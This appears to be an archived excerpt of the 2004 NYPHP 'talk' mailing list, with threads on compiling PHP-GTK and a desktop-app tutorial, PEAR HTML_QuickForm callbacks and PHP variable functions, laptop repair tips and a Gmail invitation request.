Anyway, would love to have anyone who is interested.. Contact either eve or myself if you wanna swing by for it. -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From jonbaer at jonbaer.net Tue Jun 15 03:05:59 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Tue, 15 Jun 2004 03:05:59 -0400 Subject: [nycphp-talk] Skinable, portable desktop apps in PHP, tutorial and sourcecode In-Reply-To: <1087258735.7473.1.camel@bezel> References: <1087258735.7473.1.camel@bezel> Message-ID: <20040615070559.GA14725@jonbaer.net> Uggg I sat up all night mucking around with glib crap and finally got back to where I was and compiled it, it is very cool + Im going to embark on GUI-land stuff ... a few brief thoughts: Initially when you compile PHP/GTK it can be very daunting, like you I came back to it after ncurses and after installing a pretty fluxbox I couldnt resist but I think alot of people have problems compiling ... for example: You seem to need to ./buildconf, then aclocal, then ./buildconf again, which was not in the install docs but pointing out by a few people ... and I read a list where some poor guy was trying to compile it without using the CLI version of PHP ... (no it wasnt me - but then again I wouldnt be suprised :-) I like the combo considering it moves 1000x faster than Swing + remains cross compatible ... Thank you for the tutorial! - Jon On Mon, Jun 14, 2004 at 08:18:55PM -0400, Joel De Gan wrote: > > Tutorial and sourcecode as promised. > http://lucifer.intercosmos.net/tut/ > > cheers > > -- > joeldg - developer, Intercosmos media group. > http://lucifer.intercosmos.net > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From crisscott at netzero.com Tue Jun 15 08:48:05 2004 From: crisscott at netzero.com (Scott Mattocks) Date: Tue, 15 Jun 2004 08:48:05 -0400 Subject: [nycphp-talk] Skinable, portable desktop apps in PHP, tutorial and sourcecode In-Reply-To: <1087258735.7473.1.camel@bezel> References: <1087258735.7473.1.camel@bezel> Message-ID: <40CEF005.50600@netzero.com> Very nice. I have been trying to figure out how to do image transparency for a while now with little success. One thing I am confused about though is when you call timeout_add: // add in a one second update gtk::timeout_add(1000, 'updateview', $clist); // this updates us every second I know that $clist is going to be passed to updateview but updateview expects an image right? Also I don't see where $clist is define. Anyway, do you mind if I forward this link on to the PHP-GTK general mailing list? I think a lot of people over there will find this very interesting. Thanks, Scott Mattocks Joel De Gan wrote: > Tutorial and sourcecode as promised. > http://lucifer.intercosmos.net/tut/ > > cheers > From dmintz at davidmintz.org Tue Jun 15 09:39:13 2004 From: dmintz at davidmintz.org (David Mintz) Date: Tue, 15 Jun 2004 09:39:13 -0400 (EDT) Subject: [nycphp-talk] [OT] laptop repair in downtown NYC? In-Reply-To: <40CEF005.50600@netzero.com> References: <1087258735.7473.1.camel@bezel> <40CEF005.50600@netzero.com> Message-ID: Anybody know of a reliable shop that's located in downtown NYC (or in Jersey City, or Hoboken) and that can be relied on to fix an old Dell laptop (Inspiron 8000) whose keyboard ain't working? many TIA, --- David Mintz http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 From joel at tagword.com Tue Jun 15 12:16:01 2004 From: joel at tagword.com (Joel De Gan) Date: Tue, 15 Jun 2004 12:16:01 -0400 Subject: [nycphp-talk] Skinable, portable desktop apps in PHP, tutorial and sourcecode In-Reply-To: <40CEF005.50600@netzero.com> References: <1087258735.7473.1.camel@bezel> <40CEF005.50600@netzero.com> Message-ID: <1087316161.7483.18.camel@bezel> Sure sent it off.. I am currently working on using this same effect and the mouse wheel to have alpha-blending via the xpm's .. this totally bypasses X and the need for some other app like xdirectfb. $clist I think is actually not necessary. however, I will need to go dig around back in my code to say for certain. This tutorial made it to developers.slashdot.org as well.. -cheers -joel On Tue, 2004-06-15 at 08:48, Scott Mattocks wrote: > Very nice. I have been trying to figure out how to do image transparency > for a while now with little success. One thing I am confused about > though is when you call timeout_add: > > // add in a one second update > gtk::timeout_add(1000, 'updateview', $clist); // this updates us every > second > > I know that $clist is going to be passed to updateview but updateview > expects an image right? Also I don't see where $clist is define. > > Anyway, do you mind if I forward this link on to the PHP-GTK general > mailing list? I think a lot of people over there will find this very > interesting. > > Thanks, > Scott Mattocks > > Joel De Gan wrote: > > Tutorial and sourcecode as promised. > > http://lucifer.intercosmos.net/tut/ > > > > cheers > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From joel at tagword.com Tue Jun 15 12:28:16 2004 From: joel at tagword.com (Joel De Gan) Date: Tue, 15 Jun 2004 12:28:16 -0400 Subject: [nycphp-talk] Skinable, portable desktop apps in PHP, tutorial and sourcecode In-Reply-To: <20040615070559.GA14725@jonbaer.net> References: <1087258735.7473.1.camel@bezel> <20040615070559.GA14725@jonbaer.net> Message-ID: <1087316896.7475.25.camel@bezel> I had the same issues. I run gentoo and keep everything very up to date so I had all kinds of problems, I also have php5 installed here. 'Finally' (after hours and hours) I found a binary distribution compiled up which I cannot find the site for again but have posted for you here: http://lucifer.intercosmos.net/php-gtk.tar.gz It is super easy to do (read the README) and works fine with php5 as it sits as the CLI version and you can keep your regular version intact. Hope that helps. -Joel On Tue, 2004-06-15 at 03:05, Jon Baer wrote: > Uggg I sat up all night mucking around with glib crap and finally got back to where I > was and compiled it, it is very cool + Im going to embark on GUI-land stuff ... a few > brief thoughts: > > Initially when you compile PHP/GTK it can be very daunting, like you I came back to it > after ncurses and after installing a pretty fluxbox I couldnt resist but I think alot > of people have problems compiling ... for example: > > You seem to need to ./buildconf, then aclocal, then ./buildconf again, which was not in > the install docs but pointing out by a few people ... and I read a list where some poor > guy was trying to compile it without using the CLI version of PHP ... (no it wasnt me - > but then again I wouldnt be suprised :-) > > I like the combo considering it moves 1000x faster than Swing + remains cross > compatible ... > > Thank you for the tutorial! > > - Jon > > On Mon, Jun 14, 2004 at 08:18:55PM -0400, Joel De Gan wrote: > > > > Tutorial and sourcecode as promised. > > http://lucifer.intercosmos.net/tut/ > > > > cheers > > > > -- > > joeldg - developer, Intercosmos media group. > > http://lucifer.intercosmos.net > > > > _______________________________________________ > > talk mailing list > > talk at lists.nyphp.org > > http://lists.nyphp.org/mailman/listinfo/talk > > -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From jonbaer at jonbaer.net Tue Jun 15 08:51:32 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Tue, 15 Jun 2004 08:51:32 -0400 Subject: [nycphp-talk] Skinable, portable desktop apps in PHP, tutorial and sourcecode In-Reply-To: <20040615070559.GA14725@jonbaer.net> References: <1087258735.7473.1.camel@bezel> <20040615070559.GA14725@jonbaer.net> Message-ID: <20040615125132.GA26393@jonbaer.net> Speaking of which, does any use Glade for UI for php-gtk? Alot of the docs/info seem to be lacking for php-gtk but Im assuming they are relative to normal Gnome/GTK docs that already exist, is that correct? I was reading over Andrei's blog and there seems to be only one book (in Spanish) in regards to PHP-GTK, is it covered in depth anywhere else? (I have not bought Essentials yet). It would seem nice to have libglade bundled, am I wrong? - Jon On Tue, Jun 15, 2004 at 03:05:59AM -0400, Jon Baer wrote: > Uggg I sat up all night mucking around with glib crap and finally got back to where I > was and compiled it, it is very cool + Im going to embark on GUI-land stuff ... a few > brief thoughts: -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From jonbaer at jonbaer.net Tue Jun 15 12:58:24 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Tue, 15 Jun 2004 12:58:24 -0400 Subject: [nycphp-talk] Skinable, portable desktop apps in PHP, tutorial and sourcecode In-Reply-To: <1087316896.7475.25.camel@bezel> References: <1087258735.7473.1.camel@bezel> <20040615070559.GA14725@jonbaer.net> <1087316896.7475.25.camel@bezel> Message-ID: <20040615162819.GB27758@jonbaer.net> LOL ... I just spent hours and hours - I think I have the same setup on Fedora w/ PHP5 here - my main issue I think was that I had the newest version of libglade installed as well as the old and had to --disable-glade to get it going ... My main issue now is some of the PixMap controls not working, I will try out your version as Im sure it solves alot of my problems, thanks again ... - Jon On Tue, Jun 15, 2004 at 12:28:16PM -0400, Joel De Gan wrote: > I had the same issues. > I run gentoo and keep everything very up to date so I had all kinds of > problems, I also have php5 installed here. > 'Finally' (after hours and hours) I found a binary distribution compiled -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From heli_travel at yahoo.com Tue Jun 15 14:58:47 2004 From: heli_travel at yahoo.com (haha) Date: Tue, 15 Jun 2004 11:58:47 -0700 (PDT) Subject: [nycphp-talk] Gmail invitation In-Reply-To: <41EE526EC2D3C74286415780D3BA9F87028C7A43@ehost011-1.exch011.intermedia.net> Message-ID: <20040615185847.40911.qmail@web12207.mail.yahoo.com> Dear All: I would like to have a Gmail account? Could some one send me an invitation? Thanks in advance! Bill __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - 100MB free storage! http://promotions.yahoo.com/new_mail From adam at trachtenberg.com Tue Jun 15 17:08:43 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Tue, 15 Jun 2004 17:08:43 -0400 (EDT) Subject: [nycphp-talk] Authentication with XML-RPC In-Reply-To: <41EE526EC2D3C74286415780D3BA9F87028C7A43@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F87028C7A43@ehost011-1.exch011.intermedia.net> Message-ID: On Tue, 15 Jun 2004, Hans Zaunere wrote: > > Adam, I just posted a review to Amazon. It might take a while to > appear, > > but here is what I wrote: > > Great review... but why post to only Amazon? NYPHP has a place for this > and we always want reviews and articles from our members. Contact media > notjunk at nyphp.org to get started. You definitely should post it in both places. :) -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From jonbaer at jonbaer.net Tue Jun 15 17:24:50 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Tue, 15 Jun 2004 17:24:50 -0400 Subject: [nycphp-talk] Skinable, portable desktop apps in PHP, tutorial and sourcecode In-Reply-To: <1087316896.7475.25.camel@bezel> References: <1087258735.7473.1.camel@bezel> <20040615070559.GA14725@jonbaer.net> <1087316896.7475.25.camel@bezel> Message-ID: <20040615212450.GA1926@jonbaer.net> This is great ... if you rip out all the examples you basically have a Linux runtime, it turned out the CLI i had was able to run all the examples as is, which was a good sign I guess. That package should be made more widely available, Ive seen alot of people on lists have compiling problems ... Thanks Joel, great examples in that package, it will keep me busy for a while ... - Jon > up which I cannot find the site for again but have posted for you here: > http://lucifer.intercosmos.net/php-gtk.tar.gz -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From joel at tagword.com Tue Jun 15 19:36:05 2004 From: joel at tagword.com (Joel De Gan) Date: Tue, 15 Jun 2004 19:36:05 -0400 Subject: [nycphp-talk] Skinable, portable desktop apps in PHP, tutorial and sourcecode In-Reply-To: <20040615212450.GA1926@jonbaer.net> References: <1087258735.7473.1.camel@bezel> <20040615070559.GA14725@jonbaer.net> <1087316896.7475.25.camel@bezel> <20040615212450.GA1926@jonbaer.net> Message-ID: <1087342565.7478.51.camel@bezel> I also went through and added some more xpms that are ready to use with the program here http://lucifer.intercosmos.net/tut/xpms/ cheers.. On Tue, 2004-06-15 at 17:24, Jon Baer wrote: > This is great ... if you rip out all the examples you basically have a > Linux runtime, it turned out the CLI i had was able to run all the > examples as is, which was a good sign I guess. That package should be > made more widely available, Ive seen alot of people on lists have > compiling problems ... > > Thanks Joel, great examples in that package, it will keep me busy for a > while ... > > - Jon > > > up which I cannot find the site for again but have posted for you here: > > http://lucifer.intercosmos.net/php-gtk.tar.gz -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From joshmccormack at travelersdiary.com Tue Jun 15 19:10:03 2004 From: joshmccormack at travelersdiary.com (Josh McCormack) Date: Tue, 15 Jun 2004 19:10:03 -0400 Subject: [nycphp-talk] [OT] laptop repair in downtown NYC? In-Reply-To: References: <1087258735.7473.1.camel@bezel> <40CEF005.50600@netzero.com> Message-ID: <40CF81CB.4060506@travelersdiary.com> Will probably cost a small fortune for something I've heard isn't a big deal. I'd look for a dead one (ebay, craigslist, etc) and do it yourself. There are instructions on the web. Josh David Mintz wrote: > Anybody know of a reliable shop that's located in downtown NYC (or in > Jersey City, or Hoboken) and that can be relied on to fix an old Dell > laptop (Inspiron 8000) whose keyboard ain't working? > > many TIA, > > > --- > David Mintz > http://davidmintz.org/ > > "Anybody else got a problem with Webistics?" -- Sopranos 24:17 > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From wkamm at att.com Tue Jun 15 19:11:55 2004 From: wkamm at att.com (Kamm, William R (Bill), ALABS) Date: Tue, 15 Jun 2004 18:11:55 -0500 Subject: [nycphp-talk] [OT] laptop repair in downtown NYC? Message-ID: ... and in the meantime plug an external keyboard into the laptop. -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Josh McCormack Sent: Tuesday, June 15, 2004 7:10 PM To: NYPHP Talk Subject: Re: [nycphp-talk] [OT] laptop repair in downtown NYC? Will probably cost a small fortune for something I've heard isn't a big deal. I'd look for a dead one (ebay, craigslist, etc) and do it yourself. There are instructions on the web. Josh David Mintz wrote: > Anybody know of a reliable shop that's located in downtown NYC (or in > Jersey City, or Hoboken) and that can be relied on to fix an old Dell > laptop (Inspiron 8000) whose keyboard ain't working? > > many TIA, > > > --- > David Mintz > http://davidmintz.org/ > > "Anybody else got a problem with Webistics?" -- Sopranos 24:17 > _______________________________________________ > talk mailing list > talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk > _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk From dorgan at optonline.net Tue Jun 15 19:17:34 2004 From: dorgan at optonline.net (Donald J. Organ IV) Date: Tue, 15 Jun 2004 19:17:34 -0400 Subject: [nycphp-talk] [OT] laptop repair in downtown NYC? References: Message-ID: <001a01c4532e$f0bff710$0e01010a@dj> i would just call dell order a keyboard for your model and install it your self, i have opened my laptop many a times to do minor stuff liek taht and i have a inspiron 8200 ----- Original Message ----- From: "Kamm, William R (Bill), ALABS" To: "NYPHP Talk" Sent: Tuesday, June 15, 2004 7:11 PM Subject: RE: [nycphp-talk] [OT] laptop repair in downtown NYC? > ... and in the meantime plug an external keyboard into the laptop. > > -----Original Message----- > From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] > On Behalf Of Josh McCormack > Sent: Tuesday, June 15, 2004 7:10 PM > To: NYPHP Talk > Subject: Re: [nycphp-talk] [OT] laptop repair in downtown NYC? > > > Will probably cost a small fortune for something I've heard isn't a big > deal. I'd look for a dead one (ebay, craigslist, etc) and do it > yourself. There are instructions on the web. > > Josh > > David Mintz wrote: > > > Anybody know of a reliable shop that's located in downtown NYC (or in > > Jersey City, or Hoboken) and that can be relied on to fix an old Dell > > laptop (Inspiron 8000) whose keyboard ain't working? > > > > many TIA, > > > > > > --- > > David Mintz > > http://davidmintz.org/ > > > > "Anybody else got a problem with Webistics?" -- Sopranos 24:17 > > > _______________________________________________ > > talk mailing list > > talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk From jayeshsh at ceruleansky.com Tue Jun 15 21:42:47 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Tue, 15 Jun 2004 21:42:47 -0400 Subject: [nycphp-talk] Authentication with XML-RPC Message-ID: <40CFA597.6010903@ceruleansky.com> Hi Hans, (Oops - I sent this initially to your private email address first by mistake, sorry about that. I want to keep the others in the loop too, regarding this ...) thanks for the note. I would be happy to update / expand the review (of David Sklar's book) for nyphp.org. (I could also do reviews for other PHP/ MySQL/ Web Application Development/ CSS books which I have read.) I tried sending a message to notjunk at nyphp.org, but it bounced back ... Best Regards, - Jay From dmintz at davidmintz.org Tue Jun 15 22:21:00 2004 From: dmintz at davidmintz.org (David Mintz) Date: Tue, 15 Jun 2004 22:21:00 -0400 (EDT) Subject: [nycphp-talk] [OT] laptop repair in downtown NYC? In-Reply-To: <001a01c4532e$f0bff710$0e01010a@dj> References: <001a01c4532e$f0bff710$0e01010a@dj> Message-ID: Gentlemen: thank you. These are fine ideas. I've mucked around inside desktop machines plenty, but always assumed laptops were dark magic. Bah! Time to go for it. Plug in a regular keyboard? D'oh! I definitely get the Homer Simpson Award. On Tue, 15 Jun 2004, Donald J. Organ IV wrote: > i would just call dell order a keyboard for your model and install it your > self, i have opened my laptop many a times to do minor stuff liek taht and i > have a inspiron 8200 > [etc] --- David Mintz http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 From jayeshsh at ceruleansky.com Tue Jun 15 23:42:16 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Tue, 15 Jun 2004 23:42:16 -0400 Subject: [nycphp-talk] mystery parameter for process method in PEAR HTML_QuickForm Message-ID: <40CFC198.4020500@ceruleansky.com> Hello all, I have reading up on the PEAR HTML_QuickForm library, and trying to use it in a new (prototype of an) application. I have been reading David Sklar's book, and reading through his online presentation, but still some questions remain unanswered. Perhaps some of you on this will have answer to this question: In the slide at this address - http://www.sklar.com/talks/show.php/nyphp-quickform/5 - there is this snippet of code: $form->process('say_hello'); /* ... */ function say_hello($data) { print 'Hello, ' . $data['my_name']; } So, my question is this: when the callback function say_hello() was specified in the statement "$form->process('say_hello');" no parameter seems to have been passed to it (explicitly, that is). But, in this example, the something like the following output is expected to be printed: Hello, Jay where "Jay" is the value of the name entered into the name input box (the code for which is not shown above). So, where does the $data information come from? Is it somehow implicitly passed through to the say_hello() callback function when the "$form->process('say_hello');" statement is made? The code for the process method from the HTML/QuickForm.php file is as follows: // ***************************************************** /** * Performs the form data processing * * @param mixed $callback Callback, either function name or array(&$object, 'method') * @param bool $mergeFiles Whether uploaded files should be processed too * @since 1.0 * @access public * @throws HTML_QuickForm_Error */ function process($callback, $mergeFiles = true) { if (!is_callable($callback)) { return PEAR::raiseError(null, QUICKFORM_INVALID_PROCESS, null, E_USER_WARNING, "Callback function does not exist in QuickForm::process()", 'HTML_QuickForm_Error', true); } $values = ($mergeFiles === true) ? HTML_QuickForm::arrayMerge($this->_submitValues, $this->_submitFiles) : $this->_submitValues; return call_user_func($callback, $values); } // end func process // ******************************************************* I hope my question makes sense. If not, I will try to reword it. Best Regards, - Jay From dcech at phpwerx.net Tue Jun 15 23:51:21 2004 From: dcech at phpwerx.net (Dan Cech) Date: Tue, 15 Jun 2004 23:51:21 -0400 Subject: [nycphp-talk] mystery parameter for process method in PEAR HTML_QuickForm In-Reply-To: <40CFC198.4020500@ceruleansky.com> References: <40CFC198.4020500@ceruleansky.com> Message-ID: <40CFC3B9.2050405@phpwerx.net> Jayesh Sheth wrote: > In the slide at this address - > http://www.sklar.com/talks/show.php/nyphp-quickform/5 - there is this > snippet of code: > > $form->process('say_hello'); > /* ... */ > > function say_hello($data) { > print 'Hello, ' . $data['my_name']; > } > > So, where does the $data information come from? Is it somehow implicitly > passed through to the say_hello() callback function when the > "$form->process('say_hello');" statement is made? Yes, the line: $form->process('say_hello'); is basically telling HTML_Quickform to grab all the submitted data from the form and send it as the first parameter ($data) to the 'say_hello' function. In the code below, the line: return call_user_func($callback, $values); is equivalent to: return $callback($values); or: return say_hello($values); where $values is the data you submitted to the form. Dan > The code for the process method from the HTML/QuickForm.php file is as > follows: > // ***************************************************** > /** > * Performs the form data processing > * > * @param mixed $callback Callback, either function > name or array(&$object, 'method') > * @param bool $mergeFiles Whether uploaded files > should be processed too > * @since 1.0 > * @access public > * @throws HTML_QuickForm_Error > */ > function process($callback, $mergeFiles = true) > { > if (!is_callable($callback)) { > return PEAR::raiseError(null, QUICKFORM_INVALID_PROCESS, > null, E_USER_WARNING, "Callback function does not exist in > QuickForm::process()", 'HTML_QuickForm_Error', true); > } > $values = ($mergeFiles === true) ? > HTML_QuickForm::arrayMerge($this->_submitValues, $this->_submitFiles) : > $this->_submitValues; > return call_user_func($callback, $values); > } // end func process > // ******************************************************* From jayeshsh at ceruleansky.com Wed Jun 16 00:08:44 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Wed, 16 Jun 2004 00:08:44 -0400 Subject: [nycphp-talk] mystery parameter for process method in PEAR, HTML_QuickForm Message-ID: <40CFC7CC.7040404@ceruleansky.com> Hi Dan, thanks a lot for your explanation. It all makes sense now. I hadn't seen the call_user_func() thing before. I guess PHP has the unusual concept of "user defined" or "variable" functions (I remember seeing something similar in the lib/main.php file of WikkiTikkiTavi) ... and it is passing the array of submitted data as a parameter to whatever the user-defined call-back function is. It's a bit tricky, but it does seem to make sense now ... Thanks again for your quick help! Best Regards, - Jay From dcech at phpwerx.net Wed Jun 16 00:28:53 2004 From: dcech at phpwerx.net (Dan Cech) Date: Wed, 16 Jun 2004 00:28:53 -0400 Subject: [nycphp-talk] mystery parameter for process method in PEAR, HTML_QuickForm In-Reply-To: <40CFC7CC.7040404@ceruleansky.com> References: <40CFC7CC.7040404@ceruleansky.com> Message-ID: <40CFCC85.1050503@phpwerx.net> Jayesh Sheth wrote: > Hi Dan, > > thanks a lot for your explanation. It all makes sense now. I hadn't seen > the call_user_func() thing before. > > I guess PHP has the unusual concept of "user defined" or "variable" > functions (I remember seeing something similar in the lib/main.php file > of WikkiTikkiTavi) ... and it is passing the array of submitted data as > a parameter to whatever the user-defined call-back function is. I'm always happy to help a fellow (confused) programmer. ;) The idea of variable functions and using a variable as a function name is kind of weird, but can also allow you to do some cool tricks. Personally I like to check with is_callable before I use a variable function name, just to make sure the function actually does exist, but other than that I don't know of any gotchas with this technique. Dan > It's a bit tricky, but it does seem to make sense now ... > > Thanks again for your quick help! > > Best Regards, > > - Jay From adam at trachtenberg.com Wed Jun 16 01:28:54 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Wed, 16 Jun 2004 01:28:54 -0400 (EDT) Subject: [nycphp-talk] mystery parameter for process method in PEAR, HTML_QuickForm In-Reply-To: <40CFC7CC.7040404@ceruleansky.com> References: <40CFC7CC.7040404@ceruleansky.com> Message-ID: On Wed, 16 Jun 2004, Jayesh Sheth wrote: > I guess PHP has the unusual concept of "user defined" or "variable" > functions (I remember seeing something similar in the lib/main.php file > of WikkiTikkiTavi) ... and it is passing the array of submitted data as > a parameter to whatever the user-defined call-back function is. This is an old school programming convention. In LISP people often define functions on the fly and invoke them. -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From adam at trachtenberg.com Wed Jun 16 01:33:54 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Wed, 16 Jun 2004 01:33:54 -0400 (EDT) Subject: [nycphp-talk] mystery parameter for process method in PEAR, HTML_QuickForm In-Reply-To: <40CFCC85.1050503@phpwerx.net> References: <40CFC7CC.7040404@ceruleansky.com> <40CFCC85.1050503@phpwerx.net> Message-ID: On Wed, 16 Jun 2004, Dan Cech wrote: > The idea of variable functions and using a variable as a function name > is kind of weird, but can also allow you to do some cool tricks. I actually find myself more frequently using call_user_func_array() than plain old call_user_func() because it allows you to more easily call functions with an arbitrary number of parameters. In particular, it's super useful for object aggregation in PHP 5 when you invoke it within __call(). -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From dcech at phpwerx.net Wed Jun 16 08:48:33 2004 From: dcech at phpwerx.net (Dan Cech) Date: Wed, 16 Jun 2004 08:48:33 -0400 Subject: [nycphp-talk] mystery parameter for process method in PEAR, HTML_QuickForm In-Reply-To: References: <40CFC7CC.7040404@ceruleansky.com> Message-ID: <40D041A1.6060303@phpwerx.net> Adam Maccabee Trachtenberg wrote: > On Wed, 16 Jun 2004, Jayesh Sheth wrote: >>I guess PHP has the unusual concept of "user defined" or "variable" >>functions (I remember seeing something similar in the lib/main.php file >>of WikkiTikkiTavi) ... and it is passing the array of submitted data as >>a parameter to whatever the user-defined call-back function is. > > This is an old school programming convention. In LISP people often > define functions on the fly and invoke them. Yeah, the good old 'anonymous' or 'lambda' function, very useful for little jobs... The majority of php programmers have probably used create_function (http://php.net/create_function) at one time or another, if only for feeding it to array_(map|reduce|walk) or usort. Dan From adam at trachtenberg.com Wed Jun 16 11:21:38 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Wed, 16 Jun 2004 11:21:38 -0400 (EDT) Subject: [nycphp-talk] mystery parameter for process method in PEAR, HTML_QuickForm In-Reply-To: <40D041A1.6060303@phpwerx.net> References: <40CFC7CC.7040404@ceruleansky.com> <40D041A1.6060303@phpwerx.net> Message-ID: On Wed, 16 Jun 2004, Dan Cech wrote: > Yeah, the good old 'anonymous' or 'lambda' function, very useful for > little jobs... The majority of php programmers have probably used > create_function (http://php.net/create_function) at one time or another, > if only for feeding it to array_(map|reduce|walk) or usort. Unfortunately, create_function is (was?) very slow. It's much faster to pre-define the function in PHP. Not so in LISP, which has a highly optimized eval() nature. -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From dcech at phpwerx.net Wed Jun 16 13:30:33 2004 From: dcech at phpwerx.net (Dan Cech) Date: Wed, 16 Jun 2004 13:30:33 -0400 Subject: [nycphp-talk] mystery parameter for process method in PEAR, HTML_QuickForm In-Reply-To: References: <40CFC7CC.7040404@ceruleansky.com> <40CFCC85.1050503@phpwerx.net> Message-ID: <40D083B9.5040506@phpwerx.net> Adam Maccabee Trachtenberg wrote: > On Wed, 16 Jun 2004, Dan Cech wrote: >>The idea of variable functions and using a variable as a function name >>is kind of weird, but can also allow you to do some cool tricks. > > I actually find myself more frequently using call_user_func_array() > than plain old call_user_func() because it allows you to more easily > call functions with an arbitrary number of parameters. > > In particular, it's super useful for object aggregation in PHP 5 when > you invoke it within __call(). If you like call_user_func_array then you will love safe_args, I've been working on it with Dan Kuykendall (of phpGroupWare) as a different way of handling function arguments. For example, say you had a function like: function myfunc ($a, $b, $c) { ... } When defining the function it allows you to define which arguments are mandatory and which are optional, default values for optional arguments and acceptable data types. The code using safe_args would look like: function myfunc () { $args = new safe_args(); $args->set('a',REQUIRED,'any'); $args->set('b',REQUIRED,'any'); $args->set('c',REQUIRED,'any'); $args = $args->get($func_get_args()); ... } You then access each argument within the function as $args['a'], $args['b'], etc. As you can see above the definition for each argument includes the name, the default value (or REQUIRED) and the type. When calling the function above you could call it with: myfunc($my_a,$my_b,$my_c); or myfunc(array($my_a,$my_b,$my_c)); or myfunc(array('b'=>$my_b,'a'=>$my_a,'c'=>$my_c)); It took a little getting used to, but now I love the flexibility it offers, as well as the ability to enforce input validation rules with little effort. If you are interested you can read more details at: http://wiki.phpgroupware.org/index.php?page=nextgen And view the source at: http://savannah.gnu.org/cgi-bin/viewcvs/phpgroupware/api/core_functions.inc.php?rev=1.1.1.1.2.23&content-type=text/vnd.viewcvs-markup Dan From max.goldberg at gmail.com Wed Jun 16 14:47:25 2004 From: max.goldberg at gmail.com (max goldberg) Date: Wed, 16 Jun 2004 14:47:25 -0400 Subject: [nycphp-talk] Gmail invitation In-Reply-To: <20040615185847.40911.qmail@web12207.mail.yahoo.com> References: <20040615185847.40911.qmail@web12207.mail.yahoo.com> Message-ID: <87e6ded3040616114766597100@mail.gmail.com> What's Gmail? On Tue, 15 Jun 2004 11:58:47 -0700 (PDT), haha wrote: > > Dear All: > > I would like to have a Gmail account? Could some one send me an > invitation? > > Thanks in advance! > > Bill > > __________________________________ > Do you Yahoo!? > New and Improved Yahoo! Mail - 100MB free storage! > http://promotions.yahoo.com/new_mail > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From heli_travel at yahoo.com Wed Jun 16 14:52:48 2004 From: heli_travel at yahoo.com (haha) Date: Wed, 16 Jun 2004 11:52:48 -0700 (PDT) Subject: [nycphp-talk] Gmail invitation In-Reply-To: <87e6ded3040616114766597100@mail.gmail.com> Message-ID: <20040616185248.75181.qmail@web12207.mail.yahoo.com> The one you are using. --- max goldberg wrote: > What's Gmail? > > On Tue, 15 Jun 2004 11:58:47 -0700 (PDT), haha > wrote: > > > > Dear All: > > > > I would like to have a Gmail account? Could some one send me > an > > invitation? > > > > Thanks in advance! > > > > Bill > > > > __________________________________ > > Do you Yahoo!? > > New and Improved Yahoo! Mail - 100MB free storage! > > http://promotions.yahoo.com/new_mail > > _______________________________________________ > > talk mailing list > > talk at lists.nyphp.org > > http://lists.nyphp.org/mailman/listinfo/talk > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - 100MB free storage! http://promotions.yahoo.com/new_mail From heli_travel at yahoo.com Wed Jun 16 14:54:46 2004 From: heli_travel at yahoo.com (haha) Date: Wed, 16 Jun 2004 11:54:46 -0700 (PDT) Subject: [nycphp-talk] Gmail invitation In-Reply-To: 